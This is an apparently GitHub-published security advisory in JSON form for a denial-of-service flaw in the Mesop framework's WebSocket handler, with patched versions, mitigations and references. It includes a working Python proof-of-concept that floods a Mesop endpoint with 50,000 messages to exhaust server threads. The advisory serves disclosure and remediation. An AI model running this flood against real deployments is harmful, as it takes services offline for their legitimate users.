CVE-2026-34824: Mesop Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3jr7-6hqp-x679",
  "modified" : "2026-04-06T23:11:36Z",
  "published" : "2026-04-03T21:54:36Z",
  "aliases" : [ "CVE-2026-34824" ],
  "summary" : "Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service",
  "details" : "### Summary\nAn uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.\n\n### Details\nThe vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_websocket` function listens for incoming messages and immediately spawns a new `threading.Thread` for every successfully parsed `ui_request`.\n\nThere is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection. \n\n*Vulnerable code snippet in `mesop/server/server.py`:*\n```python\nwhile True:\n    message = ws.receive()\n    if not message:\n        continue\n    # ... message parsing logic ...\n\n    # VULNERABILITY: Spawning a new thread for every single message without limits\n    thread = threading.Thread(\n        target=copy_current_request_context(ws_generate_data),\n        args=(ws, ui_request),\n        daemon=True,\n    )\n    thread.start()\n```\n### PoC\nTo reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.\n\nPrerequisites:\n\nPython environment with the `websocket-client library` installed (`pip install websocket-client`).\n\nA target Mesop application running locally (e.g., `http://localhost:8080`).\n\nSteps to reproduce:\n\nStart the target Mesop application.\n\nSave the following script as `exploit_dos.py`.\n\nRun the script: python `exploit_dos.py`. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.\n\n```\nimport websocket\nimport base64\n\n# Replace with the target Mesop application's WebSocket URL\nTARGET_WS_URL = \"ws://localhost:8080/__ui__\"\n\n# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` \n# and Protobuf `ParseFromString` without throwing a parsing exception.\nEMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')\n\ndef flood_server():\n    ws = websocket.WebSocket()\n    try:\n        ws.connect(TARGET_WS_URL)\n        print(\"[+] Connection established. Initiating thread exhaustion attack...\")\n        \n        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads\n        for i in range(50000):\n            ws.send(EMPTY_UI_REQUEST_B64)\n            \n        print(\"[+] Payloads sent. The server should be unresponsive or crashed by now.\")\n        ws.close()\n    except Exception as e:\n        print(f\"[-] Connection closed or server crashed: {e}\")\n\nif __name__ == \"__main__\":\n    flood_server()\n```\n### Impact\nVulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.\n\nImpacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.\n\nSeverity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.\n\n### Mitigation (Recommended Fixes):\n\nUse a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)\nIntroduce per-connection rate limiting\nImplement a message queue with backpressure\nConsider migrating to an async event loop model instead of spawning OS threads",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mesop"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.3"
      }, {
        "fixed" : "1.2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/security/advisories/GHSA-3jr7-6hqp-x679"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34824"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/commit/760a2079b5c609038c826d24dfbcf9b0be98d987"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mesop-dev/mesop"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mesop-dev/mesop/releases/tag/v1.2.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125", "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:54:36Z",
    "nvd_published_at" : "2026-04-03T23:17:05Z"
  }
}